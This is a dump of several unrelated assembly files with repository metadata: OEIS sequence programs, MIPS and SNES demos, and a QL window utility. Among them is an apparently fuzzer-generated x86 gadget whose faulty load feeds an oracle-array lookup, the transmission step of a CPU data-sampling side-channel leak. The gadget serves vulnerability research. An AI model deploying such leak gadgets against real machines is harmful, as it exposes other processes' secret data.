; 1,1,2,7,26,91,302,967,3026,9331,28502,86527,261626,788971,2375102,7141687,21457826,64439011,193448102,580606447,1742343626,5228079451,15686335502,47063200807,141197991026,423610750291,1270865805302,3812664524767,11438127792026
mov $1,3
pow $1,$0
add $0,1
mov $2,2
pow $2,$0
sub $1,$2
add $1,3
mov $0,$1
div $0,2
| 28 | 228 | 0.72449 |
92e7f8485f178114a89fa998feebe1d7b8915b1b | 829 | asm | Assembly | Print/print_double.asm | berkcetinsaya/MIPSLanguageExamples | e1ec7ae15a38621e09fcf211f033497c495ee06b | [
"Apache-2.0"
] | null | null | null | Print/print_double.asm | berkcetinsaya/MIPSLanguageExamples | e1ec7ae15a38621e09fcf211f033497c495ee06b | [
"Apache-2.0"
] | null | null | null | Print/print_double.asm | berkcetinsaya/MIPSLanguageExamples | e1ec7ae15a38621e09fcf211f033497c495ee06b | [
"Apache-2.0"
] | null | null | null | .data
zero: .double 0.0 # You can not use registers from outside the coprocessor 1 in floats and doubles.
# Therefore, we will define $f0 as our zero register.
number: .double 50.1 # double is a basic unit to store double numbers.
.text
ldc1 $f0, zero # load .double variable "zero" by using load double word coprocessor1(ldc1) into $f0.
ldc1 $f2, number # load .double variable "number" by using load double word coprocessor1(ldc1) into $f2.
# double numbers use 2 registers. Therefore, use even registers such as $f0, $f2, $f4...
li $v0, 3 # service code 3 to print out .double
add.d $f12, $f0, $f2 # $f12 = $f0 + $f2.
#mov.d $f12, $f2 # is same as line 11. It will load $f2 into $f12.
# all doubles are in coprocessor1 and use $f12 as their argument register.
syscall # to execute the service
| 59.214286 | 105 | 0.691194 |
4e7051152cf1e812d817c83f6e5ba9f03d03de9b | 1,300 | asm | Assembly | ansi 3a00.asm | bozimmerman/Zelch128 | 3a817c6486ac88838f38ee7a8239e9a2a38ec3a2 | [
"Apache-2.0"
] | 5 | 2019-01-03T10:13:50.000Z | 2022-03-20T12:34:59.000Z | ansi 3a00.asm | bozimmerman/Zelch128 | 3a817c6486ac88838f38ee7a8239e9a2a38ec3a2 | [
"Apache-2.0"
] | null | null | null | ansi 3a00.asm | bozimmerman/Zelch128 | 3a817c6486ac88838f38ee7a8239e9a2a38ec3a2 | [
"Apache-2.0"
] | 1 | 2022-03-20T12:35:01.000Z | 2022-03-20T12:35:01.000Z | *= $3A00
BYTE $91,$91,$31,$41,$00,$11,$11,$31,$42,$00,$1D,$1D,$31,$43
BYTE $00,$9D,$9D,$31,$44,$00,$93,$93,$32,$4A,$00,$1C,$1C,$30,$3B,$33
BYTE $31,$6D,$00,$96,$96,$31,$3B,$33,$31,$6D,$00,$1E,$1E,$30,$3B,$33
BYTE $32,$6D,$00,$99,$99,$31,$3B,$33,$32,$6D,$00,$95,$95,$30,$3B,$33
BYTE $33,$6D,$00,$9E,$9E,$31,$3B,$33,$33,$6D,$00,$1F,$1F,$30,$3B,$33
BYTE $34,$6D,$00,$9A,$9A,$31,$3B,$33,$34,$6D,$00,$81,$9C,$30,$3B,$33
BYTE $35,$6D,$00,$9C,$9C,$31,$3B,$33,$35,$6D,$00,$97,$97,$30,$3B,$33
BYTE $36,$6D,$00,$98,$97,$30,$3B,$33,$36,$6D,$00,$9F,$9F,$31,$3B,$33
BYTE $36,$6D,$00,$9B,$9B,$30,$3B,$33,$37,$6D,$00,$05,$05,$31,$3B,$33
BYTE $37,$6D,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
BYTE $00 | 72.222222 | 79 | 0.447692 |
60e27e895bbc8aedfd0f0c21fbd17c7edfded5cf | 10,257 | asm | Assembly | snesCcompilerDrawPixelDemo/mainBankZero.asm | Phillip-May/snes-homebrew | 21479a1035b189334f27930d4447f7c191b3becd | [
"MIT"
] | 11 | 2018-11-06T06:20:50.000Z | 2022-02-12T19:41:01.000Z | snesCcompilerDrawPixelDemo/mainBankZero.asm | Phillip-May/snes-homebrew | 21479a1035b189334f27930d4447f7c191b3becd | [
"MIT"
] | 1 | 2021-04-21T15:13:54.000Z | 2021-04-22T07:32:47.000Z | snesCcompilerDrawPixelDemo/mainBankZero.asm | Phillip-May/snes-homebrew | 21479a1035b189334f27930d4447f7c191b3becd | [
"MIT"
] | null | null | null | ;:ts=8
R0 equ 1
R1 equ 5
R2 equ 9
R3 equ 13
BANK0 section
ends
BANK0
xdef ~~testString
~~testString:
db $49,$6E,$69,$74,$69,$61,$6C,$20,$73,$74
db $72,$69,$6E,$67,$20,$69,$6E,$20,$52,$4F
db $4D,$0
ds 18
ends
BANK0
xdef ~~testString2
~~testString2:
db $A,$49,$6E,$69,$74,$69,$61,$6C,$20,$73
db $74,$72,$69,$6E,$67,$20,$69,$6E,$20,$52
db $4F,$4D,$20,$32,$0
ds 15
ends
data
xdef ~~testStringRam
~~testStringRam:
db $45,$72,$72,$6F,$72,$0
ds 34
ends
BANK0
xdef ~~main
func
~~main:
longa on
longi on
tsc
sec
sbc #L2
tcs
phd
tcd
data
L4:
db $20,$0
ends
data
L5:
dw $5
ends
lastInputLo_1 set 0
lastInputHi_1 set 1
spriteX_1 set 2
spriteY_1 set 4
BGTileLocation_1 set 5
BGTile_1 set 7
BGTileValue_1 set 9
i_1 set 11
regRead1_1 set 13
regRead2_1 set 14
test_heap2_1 set 15
counter_1 set 19
pOAMCopy_1 set 23
stringa1_1 set 27
multiply_1 set 31
multiply2_1 set 33
multiply3_1 set 35
stz <L3+spriteX_1
sep #$20
longa off
stz <L3+spriteY_1
rep #$20
longa on
lda #$f800
sta <L3+BGTileLocation_1
pea #^L4
pea #<L4
clc
tdc
adc #<L3+BGTile_1
sta <R0
lda #$0
sta <R0+2
pei <R0+2
pei <R0
lda #$2
xref ~~~fmov
jsl ~~~fmov
lda #$20
sta <L3+BGTileValue_1
stz <L3+i_1
lda #$9c40
sta <L3+counter_1
lda #$0
sta <L3+counter_1+2
pea #<$0
jsl ~~initSNES
asmstart
BYTE $42, $00
asmend
lda #$6
sta <L3+multiply_1
lda #$6
sta <L3+multiply2_1
lda #$a
sta <L3+multiply3_1
inc <L3+multiply_1
lda <L3+multiply2_1
ldx <L3+multiply_1
xref ~~~hwmul
jsl ~~~hwmul
sta <L3+multiply3_1
inc <L3+multiply_1
pea #<$7
lda >~~school_bin_size
pha
pea #<$2000
pea #^~~school_bin
pea #<~~school_bin
jsl ~~LoadVram
lda |L5
pha
pea #<$20
pea #<$0
pea #^~~school_pal
pea #<~~school_pal
jsl ~~LoadCGRam
pea #<$0
pea #<$20
pea #<$80
pea #^~~biker_clr
pea #<~~biker_clr
jsl ~~LoadCGRam
pea #<$7
pea #<$800
pea #<$0
pea #^~~biker_pic
pea #<~~biker_pic
jsl ~~LoadVram
pea #<$7
pea #<$740
pei <L3+BGTileLocation_1
pea #^~~school_tilemap
pea #<~~school_tilemap
jsl ~~LoadVram
pea #^$220
pea #<$220
pea #^$1
pea #<$1
jsl ~~farcalloc
sta <L3+pOAMCopy_1
stx <L3+pOAMCopy_1+2
pei <L3+pOAMCopy_1+2
pei <L3+pOAMCopy_1
jsl ~~initOAMCopy
sep #$20
longa off
lda #$70
sta [<L3+pOAMCopy_1]
rep #$20
longa on
sep #$20
longa off
lda #$60
ldy #$1
sta [<L3+pOAMCopy_1],Y
rep #$20
longa on
sep #$20
longa off
lda #$0
ldy #$2
sta [<L3+pOAMCopy_1],Y
rep #$20
longa on
sep #$20
longa off
lda #$70
ldy #$3
sta [<L3+pOAMCopy_1],Y
rep #$20
longa on
sep #$20
longa off
lda #$54
ldy #$200
sta [<L3+pOAMCopy_1],Y
rep #$20
longa on
sep #$20
longa off
lda #$a0
sta >8449 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$11
sta >8492 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$9
sta >8453 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$fc
sta >8455 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$1
sta >8459 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$0
sta >8461 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$0
sta >8461 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$0
sta >8462 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$0
sta >8462 ; volatile
rep #$20
longa on
sep #$20
longa off
lda #$1
sta >16896 ; volatile
rep #$20
longa on
lda #$0
sta >16406 ; volatile
sep #$20
longa off
lda #$f
sta >8448 ; volatile
rep #$20
longa on
L10001:
L10005:
sep #$20
longa off
lda >16912 ; volatile
sta <L3+regRead1_1
rep #$20
longa on
L10003:
sep #$20
longa off
sec
lda #$0
sbc <L3+regRead1_1
rep #$20
longa on
bvs L6
sep #$20
longa off
eor #$80
rep #$20
longa on
L6:
bmi L7
brl L10005
L7:
L10004:
L10008:
sep #$20
longa off
lda >16914 ; volatile
sta <L3+regRead1_1
rep #$20
longa on
L10006:
sep #$20
longa off
lda <L3+regRead1_1
and #<$1
rep #$20
longa on
beq L8
brl L10008
L8:
L10007:
sep #$20
longa off
lda >16920 ; volatile
sta <L3+lastInputLo_1
rep #$20
longa on
sep #$20
longa off
lda >16921 ; volatile
sta <L3+lastInputHi_1
rep #$20
longa on
pea #<$0
pea #<$220
pea #<$0
pei <L3+pOAMCopy_1+2
pei <L3+pOAMCopy_1
jsl ~~LoadOAMCopy
sep #$20
longa off
dec <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
lda <L3+lastInputHi_1
and #<$8
rep #$20
longa on
bne L9
brl L10009
L9:
sep #$20
longa off
dec <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
dec <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
dec <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
dec <L3+spriteY_1
rep #$20
longa on
brl L10010
L10009:
sep #$20
longa off
lda <L3+lastInputHi_1
and #<$4
rep #$20
longa on
bne L10
brl L10011
L10:
sep #$20
longa off
inc <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
inc <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
inc <L3+spriteY_1
rep #$20
longa on
sep #$20
longa off
inc <L3+spriteY_1
rep #$20
longa on
L10011:
L10010:
sep #$20
longa off
lda <L3+lastInputHi_1
and #<$2
rep #$20
longa on
bne L11
brl L10012
L11:
dec <L3+spriteX_1
dec <L3+spriteX_1
dec <L3+spriteX_1
dec <L3+spriteX_1
brl L10013
L10012:
sep #$20
longa off
lda <L3+lastInputHi_1
and #<$1
rep #$20
longa on
bne L12
brl L10014
L12:
asmstart
BYTE $00, $00
asmend
inc <L3+spriteX_1
inc <L3+spriteX_1
inc <L3+spriteX_1
inc <L3+spriteX_1
L10014:
L10013:
sep #$20
longa off
lda <L3+spriteX_1
sta [<L3+pOAMCopy_1]
rep #$20
longa on
lda <L3+spriteX_1
and #<$100
sta <R0
lda <R0
xba
and #$00ff
sep #$20
longa off
ldy #$200
sta [<L3+pOAMCopy_1],Y
rep #$20
longa on
sep #$20
longa off
lda <L3+spriteY_1
ldy #$1
sta [<L3+pOAMCopy_1],Y
rep #$20
longa on
brl L10001
L2 equ 41
L3 equ 5
ends
efunc
BANK0
xdef ~~IRQHandler
func
~~IRQHandler:
longa on
longi on
tsc
sec
sbc #L13
tcs
phd
tcd
L15:
pld
tsc
clc
adc #L13
tcs
rtl
L13 equ 0
L14 equ 1
ends
efunc
BANK0
xdef ~~termM0PrintString
func
~~termM0PrintString:
longa on
longi on
tsc
sec
sbc #L16
tcs
phd
tcd
szInput_0 set 4
data
L18:
dw $F800
ends
test_heap_1 set 0
curOffset_1 set 4
i_1 set 5
sep #$20
longa off
stz <L17+curOffset_1
rep #$20
longa on
pei <L16+szInput_0+2
pei <L16+szInput_0
jsl ~~strlen
sta <R0
lda <R0
ina
sta <R1
lda <R1
sta <R0
stz <R0+2
pei <R0+2
pei <R0
jsl ~~farmalloc
sta <L17+test_heap_1
stx <L17+test_heap_1+2
stz <L17+i_1
brl L10016
L10015:
inc <L17+i_1
L10016:
pei <L16+szInput_0+2
pei <L16+szInput_0
jsl ~~strlen
sta <R0
lda <R0
ina
sta <R1
lda <L17+i_1
cmp <R1
bcc L19
brl L10017
L19:
sep #$20
longa off
ldy <L17+i_1
lda [<L16+szInput_0],Y
cmp #<$a
rep #$20
longa on
beq L20
brl L10018
L20:
sep #$20
longa off
lda <L17+i_1
sta <L17+curOffset_1
rep #$20
longa on
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
tax
bne L21
brl L10019
L21:
pea #<$0
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
pha
lda |L18
pha
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~LoadLoVram
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
sta <R1
lda <R1
asl A
sta <R0
clc
lda <R0
adc |L18
sta |L18
L10019:
lda <L17+i_1
ina
sta <R0
sep #$20
longa off
lda <R0
sta <L17+curOffset_1
rep #$20
longa on
lda |L18
and #<$ffc0
sta <R0
clc
lda #$40
adc <R0
sta |L18
brl L10020
L10018:
sep #$20
longa off
ldy <L17+i_1
lda [<L16+szInput_0],Y
cmp #<$d
rep #$20
longa on
beq L22
brl L10021
L22:
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
tax
bne L23
brl L10022
L23:
pea #<$0
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
pha
lda |L18
pha
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~LoadLoVram
L10022:
lda <L17+i_1
ina
sta <R0
sep #$20
longa off
lda <R0
sta <L17+curOffset_1
rep #$20
longa on
lda #$3f
trb |L18
brl L10023
L10021:
ldy <L17+i_1
lda [<L16+szInput_0],Y
and #$ff
beq L24
brl L10024
L24:
lda <L17+curOffset_1
and #$ff
sta <R0
sec
lda <L17+i_1
sbc <R0
sta <R1
sep #$20
longa off
lda #$0
ldy <R1
sta [<L17+test_heap_1],Y
rep #$20
longa on
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
tax
bne L25
brl L10025
L25:
pea #<$0
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
pha
lda |L18
pha
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~LoadLoVram
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~strlen
sta <R1
lda <R1
asl A
sta <R0
clc
lda <R0
adc |L18
sta |L18
L10025:
lda <L17+i_1
ina
sta <R0
sep #$20
longa off
lda <R0
sta <L17+curOffset_1
rep #$20
longa on
L10024:
L10023:
L10020:
lda <L17+curOffset_1
and #$ff
sta <R0
sec
lda <L17+i_1
sbc <R0
sta <R1
sep #$20
longa off
ldy <L17+i_1
lda [<L16+szInput_0],Y
ldy <R1
sta [<L17+test_heap_1],Y
rep #$20
longa on
lda <L17+curOffset_1
and #$ff
sta <R0
sec
lda <L17+i_1
sbc <R0
sta <R1
lda <R1
ina
sta <R0
sep #$20
longa off
lda #$0
ldy <R0
sta [<L17+test_heap_1],Y
rep #$20
longa on
brl L10015
L10017:
pei <L17+test_heap_1+2
pei <L17+test_heap_1
jsl ~~farfree
lda #$0
L26:
tay
lda <L16+2
sta <L16+2+4
lda <L16+1
sta <L16+1+4
pld
tsc
clc
adc #L16+4
tcs
tya
rtl
L16 equ 15
L17 equ 9
ends
efunc
xref ~~initOAMCopy
xref ~~LoadOAMCopy
xref ~~LoadLoVram
xref ~~LoadVram
xref ~~LoadCGRam
xref ~~initSNES
xref ~~strlen
xref ~~farmalloc
xref ~~farfree
xref ~~farcalloc
xref ~~biker_clr
xref ~~biker_pic
xref ~~school_tilemap
xref ~~school_pal
xref ~~school_bin
xref ~~school_bin_size
end
| 13.372881 | 44 | 0.606513 |
822ff0447aa0e4e311788aec8e1f0e5edb44f40b | 1,545 | asm | Assembly | uti/setup.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/setup.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/setup.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; Setup and unset a window definition 1993-94 Jochen Merz V0.01
include dev8_keys_wman
include dev8_mac_xref
section utility
xdef ut_setups ; Setup a (scaled) window definition
xdef ut_setup ; Setup a fixed size window definition
xdef ut_unset ; Unset a window def. and free memory
;+++
; Setup fixed size window definition.
;
; Entry Exit
; d1 required memory size preserved
; d2 smashed
; a0 channel ID preserved
; a2 window manager vector preserved
; a4 window working definition
;
; Error returns: out of memory
; Condition codes set on return
;---
ut_setup
moveq #0,d2 ; use fixed size
; and fall into scaled setup
;+++
; Setup scaled window definition.
;
; Entry Exit
; d1 required memory size preserved
; d2 x,y size
; a0 channel ID preserved
; a2 window manager vector preserved
; a4 window working definition
;
; Error returns: out of memory
; Condition codes set on return
;---
ut_setups
setupreg reg d1/a0
movem.l setupreg,-(sp) ; keep required size and channel ID
xjsr ut_alchp
move.l a0,a4 ; it's the working definition
movem.l (sp)+,setupreg
bne.s set_exit ; oops, it does not exist
move.l d2,d1
jsr wm.setup(a2) ; set up the working definition
set_exit
rts
;+++
; Unset a window definition and release its space
;
; Entry Exit
; d0.l preserved
; a4 window working definition ???
;---
ut_unset
movem.l d0/a0,-(sp) ; keep channel ID and error
jsr wm.unset(a2) ; unset current definition
move.l a4,a0
xjsr ut_rechp ; release memory
movem.l (sp)+,d0/a0
rts
end
| 22.391304 | 65 | 0.713916 |
246166574c0ec6f418c446aad25d08fb43ad748d | 5,385 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2967.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2967.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2967.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x581f, %rdi
nop
nop
nop
and $40436, %rcx
mov (%rdi), %eax
nop
nop
nop
sub %rdx, %rdx
lea addresses_D_ht+0x1724d, %rsi
lea addresses_D_ht+0x829f, %rdi
nop
nop
nop
inc %rbx
mov $94, %rcx
rep movsb
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x7a9f, %rsi
nop
nop
nop
nop
and $45790, %rdi
mov $0x6162636465666768, %rbx
movq %rbx, (%rsi)
nop
nop
xor $39249, %rdx
lea addresses_A_ht+0xbb8f, %rdx
nop
nop
nop
and $48836, %rbp
mov (%rdx), %esi
nop
nop
nop
dec %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
// Store
lea addresses_PSE+0x17c6f, %rdi
nop
nop
nop
nop
sub $4129, %rcx
movl $0x51525354, (%rdi)
nop
nop
dec %r15
// Store
lea addresses_A+0x11dfa, %rax
nop
nop
nop
sub %r13, %r13
movw $0x5152, (%rax)
nop
nop
and %r15, %r15
// Faulty Load
lea addresses_WC+0xf29f, %rcx
nop
nop
nop
nop
and %r15, %r15
vmovups (%rcx), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r13
lea oracles, %r14
and $0xff, %r13
shlq $12, %r13
mov (%r14,%r13,1), %r13
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 40.186567 | 2,999 | 0.65831 |
24d27eb4e1e9bc02acc6cc5454fd14dfc25cd1b2 | 563 | asm | Assembly | oeis/315/A315208.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/315/A315208.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/315/A315208.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A315208: Coordination sequence Gal.6.348.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jamie Morken(s4)
; 1,6,10,14,20,24,30,34,40,44,48,54,60,64,68,74,78,84,88,94,98,102,108,114,118,122,128,132,138,142,148,152,156,162,168,172,176,182,186,192,196,202,206,210,216,222,226,230,236,240
mov $1,1
mov $4,$0
mov $5,$0
lpb $0
mov $0,5
mul $0,$4
mul $4,9
mov $2,$4
mod $2,11
add $0,$2
div $0,11
mov $1,$0
lpe
mov $3,$5
mul $3,4
add $1,$3
add $0,$1
| 25.590909 | 178 | 0.666075 |
67a9cdc46dc831105120aa5166d77697bc7cfc41 | 3,496 | asm | Assembly | programs/oeis/085/A085742.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/085/A085742.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/085/A085742.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A085742: a(n) = T(n^3) - T(n), where T() are the triangular numbers (A000217).
; 0,0,33,372,2070,7860,23415,58968,131292,266040,500445,886380,1493778,2414412,3766035,5696880,8390520,12071088,17008857,23526180,32003790,42887460,56695023,74023752,95558100,122077800,154466325,193719708,240955722,297423420,364513035,443766240,536886768,645751392,772421265,919153620,1088413830,1282887828,1505494887,1759400760,2048031180,2375085720,2744552013,3160720332,3628198530,4151927340,4737196035,5389658448,6115349352,6920701200,7812561225,8798208900,9885373758,11082253572,12397532895,13840401960,15420575940,17148314568,19034442117,21090367740,23328106170,25760298780,28400235003,31261874112,34359867360,37709580480,41327116545,45229339188,49433896182,53959243380,58824669015,64050318360,69657218748,75667304952,82103444925,88989465900,96350180850,104211415308,112600034547,121543971120,131072252760,141215030640,152003607993,163470469092,175649308590,188575061220,202283931855,216813425928,232202380212,248490993960,265720860405,283934998620,303177885738,323495489532,344935301355,367546369440,391379332560,416486454048,442921656177,470740554900,500000494950,530760585300,563081734983,597026689272,632660066220,670048393560,709260145965,750365782668,793437785442,838550696940,885781159395,935207953680,986912038728,1040976591312,1097487046185,1156531136580,1218198935070,1282582894788,1349777891007,1419881263080,1492992856740,1569215066760,1648652879973,1731413918652,1817608484250,1907349601500,2000753062875,2097937473408,2199024295872,2304137896320,2413405589985,2526957687540,2644927541718,2767451594292,2894669423415,3026723791320,3163760692380,3305929401528,3453382523037,3606276039660,3764769362130,3929025379020,4099210506963,4275494741232,4458051706680,4647058709040,4842696786585,5045150762148,5254609295502,5471264936100,5695314176175,5926957504200,6166399458708,6413848682472,6669517977045,6933624357660,7206389108490,7488037838268,7778800536267,8078911628640,8388610035120,8708139226080,9037747279953,937768694